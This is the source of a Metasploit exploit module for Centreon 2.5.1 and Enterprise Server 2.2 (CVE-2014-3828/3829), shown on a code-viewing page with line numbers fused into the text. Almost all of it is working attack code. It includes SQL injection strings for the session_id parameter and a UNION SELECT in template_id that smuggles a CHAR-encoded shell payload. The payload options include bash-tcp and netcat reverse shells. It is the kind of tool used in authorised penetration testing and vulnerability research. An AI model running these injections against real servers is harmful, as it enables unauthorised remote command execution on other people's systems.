Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/centreon_sqli_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'Centreon SQL and Command Injection',13'Description' => %q{14This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon15Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command16injection in the displayServiceStatus.php component, it is possible to execute arbitrary17commands as long as there is a valid session registered in the centreon.session table.18In order to have a valid session, all it takes is a successful login from anybody.19The exploit itself does not require any authentication.2021This module has been tested successfully on Centreon Enterprise Server 2.2.22},23'License' => MSF_LICENSE,24'Author' =>25[26'MaZ', # Vulnerability Discovery and Analysis27'juan vazquez' # Metasploit Module28],29'References' =>30[31['CVE', '2014-3828'],32['CVE', '2014-3829'],33['US-CERT-VU', '298796'],34['URL', 'https://seclists.org/fulldisclosure/2014/Oct/78']35],36'Arch' => ARCH_CMD,37'Platform' => 'unix',38'Payload' =>39{40'Space' => 1500, # having into account 8192 as max URI length41'DisableNops' => true,42'Compat' =>43{44'PayloadType' => 'cmd cmd_bash',45'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'46}47},48'Targets' =>49[50['Centreon Enterprise Server 2.2', {}]51],52'Privileged' => false,53'DisclosureDate' => '2014-10-15',54'DefaultTarget' => 0))5556register_options(57[58OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])59])60end6162def check63random_id = rand_text_numeric(5 + rand(8))64res = send_session_id(random_id)6566unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'67return Exploit::CheckCode::Safe68end6970injection = "#{random_id}' or 'a'='a"71res = send_session_id(injection)7273if res && res.code == 20074if res.body && res.body.to_s =~ /sh: graph: command not found/75return Exploit::CheckCode::Vulnerable76elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'77return Exploit::CheckCode::Detected78end79end8081Exploit::CheckCode::Safe82end8384def exploit85if check == Exploit::CheckCode::Safe86fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")87elsif check == Exploit::CheckCode::Detected88fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")89end9091print_status("Exploiting...")92random_id = rand_text_numeric(5 + rand(8))93random_char = rand_text_alphanumeric(1)94session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"95template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"96res = send_template_id(session_injection, template_injection)9798if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/99vprint_status("Output: #{res.body}")100end101end102103def send_session_id(session_id)104res = send_request_cgi(105'method' => 'GET',106'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),107'vars_get' =>108{109'session_id' => session_id110}111)112113res114end115116def send_template_id(session_id, template_id)117res = send_request_cgi({118'method' => 'GET',119'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),120'vars_get' =>121{122'session_id' => session_id,123'template_id' => template_id124}125}, 3)126127res128end129130def mysql_payload131p = ''132payload.encoded.each_byte { |c| p << "#{c},"}133p134end135end136137138